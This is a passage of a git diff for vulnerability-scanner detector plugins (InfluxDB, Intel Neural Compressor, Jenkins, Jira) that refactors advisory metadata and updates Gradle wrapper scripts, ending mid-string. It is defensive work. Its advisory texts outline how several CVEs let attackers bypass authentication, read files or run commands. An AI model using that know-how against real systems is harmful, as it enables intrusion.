com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import java.util.Objects; @@ -120,25 +115,7 @@ public void detect_whenCve201920933_returnsCve201920933Vuln() throws Interrupted .setNetworkService(influxDBservice) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2019_20933")) - .setSeverity(Severity.CRITICAL) - .setTitle("InfluxDB Empty JWT Secret Key Authentication Bypass") - .setDescription( - "InfluxDB before 1.7.6 has an authentication bypass vulnerability because a" - + " JWT token may have an empty SharedSecret (aka shared secret).") - .setRecommendation("Upgrade to higher versions") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText( - "Attacker can run arbitrary queries and access database" - + " data")))) + .setVulnerability(detector.getAdvisories().get(1)) .build(); mockWebServer .takeRequest(); // pass first request that is for checking the missing authentication @@ -173,27 +150,7 @@ public void detect_whenMissingAuth_returnsMissingAuthVuln() { .setNetworkService(influxDBservice) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("MISSING_AUTHENTICATION_FOR_INFLUX_DB")) - .setSeverity(Severity.CRITICAL) - .setTitle("InfluxDB instance without any authentication") - .setDescription( - "Attacker can access any DB information for this InfluxDB instance because" - + " there are no authentication.") - .setRecommendation( - "Set authentication value to true in InfluxDB setup config file before" - + " running an instance of InfluxDB.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText( - "Attacker can run arbitrary queries and access database" - + " data")))) + .setVulnerability(detector.getAdvisories().get(0)) .build(); assertThat(actual).isEqualTo(expected); } diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.jar b/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.jar index e6441136f..1b33c55ba 100644 Binary files a/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.properties b/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew b/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew index b740cf133..23d15a936 100755 --- a/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew.bat b/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew.bat index 25da30dbd..db3a6ac20 100644 --- a/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew.bat +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -68,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java index f81db6059..406d9c80a 100644 --- a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java @@ -105,6 +105,31 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2024_22476")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-22476")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2024-22476 Intel Neural Compressor RCE") + .setDescription( + "The Intel Neural Compressor has a component called Neural Solution that brings" + + " the capabilities of Intel Neural Compressor as a service. The" + + " task/submit API in the Neural Solution webserver is vulnerable to an" + + " unauthenticated remote code execution (RCE) attack. The" + + " script_urlparameter in the body of the POST request for this API is not" + + " validated or filtered on the backend. As a result, attackers can" + + " manipulate this parameter to remotely execute arbitrary commands.") + .setRecommendation( + "You can upgrade your Intel Neural Compressor instances to 2.5.0 or later.") + .build()); + } + private boolean checkNeuralSolutionFingerprint(NetworkService networkService) { String targetWebAddress = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); var request = HttpRequest.get(targetWebAddress).withEmptyHeaders().build(); @@ -184,24 +209,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2024_22476")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2024-22476 Intel Neural Compressor RCE") - .setDescription( - "The Intel Neural Compressor has a component called Neural Solution that brings" - + " the capabilities of Intel Neural Compressor as a service. The" - + " task/submit API in the Neural Solution webserver is vulnerable to an" - + " unauthenticated remote code execution (RCE) attack. The" - + " script_urlparameter in the body of the POST request for this API is not" - + " validated or filtered on the backend. As a result, attackers can" - + " manipulate this parameter to remotely execute arbitrary commands.") - .setRecommendation( - "You can upgrade your Intel Neural Compressor instances to 2.5.0 or later.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java b/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java index 0ad5aa8ca..04727527e 100644 --- a/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java @@ -32,10 +32,7 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -97,26 +94,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2024_22476")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2024-22476 Intel Neural Compressor RCE") - .setRecommendation( - "You can upgrade your Intel Neural Compressor instances to 2.5.0 or" - + " later.") - .setDescription( - "The Intel Neural Compressor has a component called Neural Solution" - + " that brings the capabilities of Intel Neural Compressor as a" - + " service. The task/submit API in the Neural Solution webserver" - + " is vulnerable to an unauthenticated remote code execution (RCE)" - + " attack. The script_urlparameter in the body of the POST request" - + " for this API is not validated or filtered on the backend. As a" - + " result, attackers can manipulate this parameter to remotely" - + " execute arbitrary commands.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); assertThat(mockWebServer.getRequestCount()).isEqualTo(2); assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); diff --git a/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradle/wrapper/gradle-wrapper.jar b/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradle/wrapper/gradle-wrapper.properties b/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradlew b/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradlew +++ b/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradlew.bat b/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradlew.bat +++ b/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202423897/Cve202423897Detector.java b/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202423897/Cve202423897Detector.java index d7763390d..c942ea5e8 100644 --- a/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202423897/Cve202423897Detector.java +++ b/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202423897/Cve202423897Detector.java @@ -160,6 +160,31 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2024_23897")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-23897")) + .setSeverity(Severity.CRITICAL) + .setTitle("Jenkins Arbitrary File Read") + .setDescription( + "Jenkins uses the args4j library to parse command arguments and options on the" + + " Jenkins controller when processing CLI commands. This command parser" + + " has a feature that replaces an @ character followed by a file path in" + + " an argument with the file's contents (expandAtFiles). This feature is" + + " enabled by default and Jenkins 2.441 and earlier, LTS 2.426.2 and" + + " earlier does not disable it. This allows attackers to read arbitrary" + + " files on the Jenkins controller file system using the default character" + + " encoding of the Jenkins controller process.") + .setRecommendation("Upgrade to version 2.426.3 or higher") + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { Boolean result; String targetUrl = buildWebApplicationRootUrl(networkService) + VULNERABLE_REQUEST_PATH; @@ -234,26 +259,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2024_23897")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-23897")) - .setSeverity(Severity.CRITICAL) - .setTitle("Jenkins Arbitrary File Read") - .setDescription( - "Jenkins uses the args4j library to parse command arguments and options on the" - + " Jenkins controller when processing CLI commands. This command parser" - + " has a feature that replaces an @ character followed by a file path in" - + " an argument with the file's contents (expandAtFiles). This feature is" - + " enabled by default and Jenkins 2.441 and earlier, LTS 2.426.2 and" - + " earlier does not disable it. This allows attackers to read arbitrary" - + " files on the Jenkins controller file system using the default character" - + " encoding of the Jenkins controller process.") - .setRecommendation("Upgrade to version 2.426.3 or higher")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202423897/Cve202423897DetectorTest.java b/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202423897/Cve202423897DetectorTest.java index dee7cadf2..1885c6bec 100644 --- a/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202423897/Cve202423897DetectorTest.java +++ b/community/detectors/jenkins_arbitrary_file_read_cve_2024_23897/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202423897/Cve202423897DetectorTest.java @@ -28,12 +28,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -105,26 +102,7 @@ public void detect_whenVulnerable_returnsDetection() { .setNetworkService(service) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2024_23897")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-23897")) - .setSeverity(Severity.CRITICAL) - .setTitle("Jenkins Arbitrary File Read") - .setDescription( - "Jenkins uses the args4j library to parse command arguments and options on" - + " the Jenkins controller when processing CLI commands. This command" - + " parser has a feature that replaces an @ character followed by a" - + " file path in an argument with the file's contents (expandAtFiles)." - + " This feature is enabled by default and Jenkins 2.441 and earlier," - + " LTS 2.426.2 and earlier does not disable it. This allows attackers" - + " to read arbitrary files on the Jenkins controller file system using" - + " the default character encoding of the Jenkins controller process.") - .setRecommendation("Upgrade to version 2.426.3 or higher")) + .setVulnerability(detector.getAdvisories().get(0)) .build(); assertThat(actual).isEqualTo(expected); } diff --git a/community/detectors/jira_cve_2022_0540/gradle/wrapper/gradle-wrapper.jar b/community/detectors/jira_cve_2022_0540/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/jira_cve_2022_0540/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/jira_cve_2022_0540/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/jira_cve_2022_0540/gradle/wrapper/gradle-wrapper.properties b/community/detectors/jira_cve_2022_0540/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/jira_cve_2022_0540/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/jira_cve_2022_0540/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/jira_cve_2022_0540/gradlew b/community/detectors/jira_cve_2022_0540/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/jira_cve_2022_0540/gradlew +++ b/community/detectors/jira_cve_2022_0540/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/jira_cve_2022_0540/gradlew.bat b/community/detectors/jira_cve_2022_0540/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/jira_cve_2022_0540/gradlew.bat +++ b/community/detectors/jira_cve_2022_0540/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/jira_cve_2022_0540/src/main/java/com/google/tsunami/plugins/detectors/jira/Cve20220540VulnDetector.java b/community/detectors/jira_cve_2022_0540/src/main/java/com/google/tsunami/plugins/detectors/jira/Cve20220540VulnDetector.java index 1d664101c..b295d2a6b 100644 --- a/community/detectors/jira_cve_2022_0540/src/main/java/com/google/tsunami/plugins/detectors/jira/Cve20220540VulnDetector.java +++ b/community/detectors/jira_cve_2022_0540/src/main/java/com/google/tsunami/plugins/detectors/jira/Cve20220540VulnDetector.java @@ -92,6 +92,34 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2022_0540")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-0540")) + .setSeverity(Severity.CRITICAL) + .setTitle( + "CVE-2022-0540: Authentication Bypass in Atlassian Jira Service Management" + + " Server and Data Center") + .setDescription( + "A vulnerability in Jira Seraph allows a remote, unauthenticated attacker to" + + " bypass authentication by sending a specially crafted HTTP request. This" + + " affects Atlassian Jira Server and Data Center versions before 8.13.18," + + " versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later" + + " before 8.22.0. This also affects Atlassian Jira Service Management" + + " Server and Data Center versions before 4.13.18, versions 4.14.0 and" + + " later before 4.20.6, and versions 4.21.0 and later before 4.22.0, using" + + " insights prior to 8.10.0 and WBSGantt plugin versions prior to 